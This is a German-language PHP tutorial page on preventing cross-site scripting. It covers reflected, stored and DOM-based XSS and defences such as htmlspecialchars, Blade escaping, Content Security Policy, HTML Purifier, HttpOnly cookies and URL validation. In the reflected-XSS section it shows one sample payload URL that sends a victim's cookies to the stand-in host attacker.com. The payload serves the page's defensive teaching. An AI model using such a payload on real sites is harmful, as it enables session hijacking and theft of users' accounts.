0Pricing
PHP Academy · Lektion

Cross-Site-Scripting (XSS) verhindern

Maskieren Sie Ausgaben mit htmlspecialchars und implementieren Sie eine Content Security Policy.

Cross-Site-Scripting (XSS) verhindern ist eine kostenlose PHP Academy-Lektion auf CoddyKit. Dies ist Lektion 1 von 4. Du kannst die komplette Lektion unten kostenlos lesen – dann übst du sie direkt im Browser mit einem integrierten Code-Editor und einem KI-Tutor rund um die Uhr. Sie ist Teil des PHP Academy-Lernpfads, und dein Fortschritt wird über Web und CoddyKit-App synchronisiert. Der PHP Academy-Kurs umfasst insgesamt 4 Lektionen.

Was ist XSS?

Cross-Site-Scripting (XSS) tritt auf, wenn ein Angreifer schädliches JavaScript in Webseiten einschleust, die von anderen Benutzern aufgerufen werden. Das Skript wird im Browser des Opfers ausgeführt und kann auf dessen Sitzung, Cookies und DOM zugreifen.

Reflektiertes XSS

Die schädliche Payload befindet sich in der URL oder einem Formularparameter und wird vom Server in der Antwort zurückgegeben.

// Malicious URL:
https://example.com/search?q=<script>document.location="https://attacker.com/steal?c="+document.cookie</script>

Gespeichertes XSS

Die Payload wird in der Datenbank gespeichert, beispielsweise in einem Kommentar oder Profilfeld, und allen Besuchern angezeigt, die diese Seite aufrufen.

DOM-basiertes XSS

Die Sicherheitslücke befindet sich vollständig im clientseitigen JavaScript, das nicht vertrauenswürdige Daten unsicher mit innerHTML oder document.write in den DOM einfügt.

htmlspecialchars()

Maskieren Sie die Ausgabe, um spezielle HTML-Zeichen in harmlose Entitäten umzuwandeln. Maskieren Sie von Benutzern bereitgestellte Daten immer vor der Darstellung.

<?php
echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, "UTF-8");
// Converts: < > " ' & into HTML entities

Automatische Maskierung in Blade

Die {{ }}-Syntax von Laravel Blade ruft automatisch htmlspecialchars auf. Verwenden Sie {!! !!} nur für vertrauenswürdiges, bereinigtes HTML.

{{-- Safe: --}}
<h1>{{ $user->name }}</h1>

{{-- Dangerous if $content is untrusted: --}}
<div>{!! $content !!}</div>

Content Security Policy (CSP)

Ein CSP-HTTP-Header weist Browser an, nur Skripte aus vertrauenswürdigen Quellen auszuführen. Dadurch werden eingeschleuste Inline-Skripte blockiert, selbst wenn sie die Seite erreichen.

<?php
$response->headers->set("Content-Security-Policy",
    "default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'"
);

HTML-Eingaben bereinigen

Wenn Sie umfangreiche HTML-Eingaben zulassen müssen, beispielsweise aus einem WYSIWYG-Editor, bereinigen Sie sie mit einer Whitelist-Bibliothek wie HTML Purifier oder dem Laravel-Paket mews/purifier.

<?php
// Using HTMLPurifier:
$purifier = new HTMLPurifier();
$cleanHtml = $purifier->purify($dirtyHtml);

X-XSS-Protection-Header

Fügen Sie den Header X-XSS-Protection: 1; mode=block hinzu, um ältere Browser zu unterstützen. Moderne Browser verwenden stattdessen CSP.

HttpOnly-Cookies

Wenn Sie das HttpOnly-Flag für Sitzungscookies setzen, kann JavaScript diese nicht lesen. Dadurch wird der auf XSS basierende Diebstahl von Sitzungen verhindert, selbst wenn ein Skript eingeschleust wurde.

URLs validieren

Fügen Sie von Benutzern bereitgestellte URLs niemals ohne Validierung in href oder src ein. Eine javascript:-URI kann XSS ausführen.

<?php
$url = filter_var($input, FILTER_VALIDATE_URL);
if ($url === false || !in_array(parse_url($url, PHP_URL_SCHEME), ["http", "https"])) {
    $url = "#"; // fallback
}

Zusammenfassung

Maskieren Sie die Ausgabe immer mit htmlspecialchars oder Blade-{{ }}. Fügen Sie eine Content Security Policy hinzu. Bereinigen Sie HTML-Eingaben mit einer Whitelist-Bibliothek. Verwenden Sie HttpOnly-Cookies.

Kurztest

Welche PHP-Funktion wandelt spezielle HTML-Zeichen in Entitäten um?

Häufig gestellte Fragen

Ist die Lektion „Cross-Site-Scripting (XSS) verhindern“ kostenlos?

Ja — der vollständige Text von „Cross-Site-Scripting (XSS) verhindern“ ist hier im Web kostenlos zu lesen. Um sie interaktiv zu üben (integrierter Code-Editor und 24/7 KI-Tutor) und den Rest des PHP Academy-Kurses freizuschalten, upgrade auf CoddyKit PRO. Der PHP Academy-Kurs umfasst insgesamt 4 Lektionen.

Was lerne ich in „Cross-Site-Scripting (XSS) verhindern“?

Maskieren Sie Ausgaben mit htmlspecialchars und implementieren Sie eine Content Security Policy. Du übst PHP Academy mit praktischem Code, den du direkt im Browser ausführst, und ein 24/7 KI-Tutor beantwortet deine Fragen während du die Lektion bearbeitest.

Brauche ich Erfahrung, um PHP Academy zu starten?

Keine Vorkenntnisse erforderlich. PHP Academy auf CoddyKit ist für Anfänger bis fortgeschrittene Lernende strukturiert, sodass du hier starten oder von Anfang an beginnen und in deinem eigenen Tempo voranschreiten kannst. Dies ist Lektion 1 von 4.

Wie lange dauert die Lektion „Cross-Site-Scripting (XSS) verhindern“?

Die meisten CoddyKit-Lektionen dauern etwa 5–10 Minuten. Jede ist kompakt und interaktiv, sodass du stetig Fortschritte machst und genau dort weitermachst, wo du aufgehört hast – im Web und in der App.

Kann ich in dieser PHP Academy-Lektion Code schreiben und ausführen?

Ja. Jede PHP Academy-Lektion enthält einen integrierten Code-Editor, sodass du echten Code direkt in deinem Browser schreibst und ausführst und sofort KI-Feedback erhältst — ohne lokale Einrichtung erforderlich.

Alle Lektionen in diesem Kurs

  1. Cross-Site-Scripting (XSS) verhindern
  2. SQL-Injection und parametrisierte Abfragen
  3. CSRF-Schutz
  4. Passwörter sicher speichern
← Zurück zu PHP Academy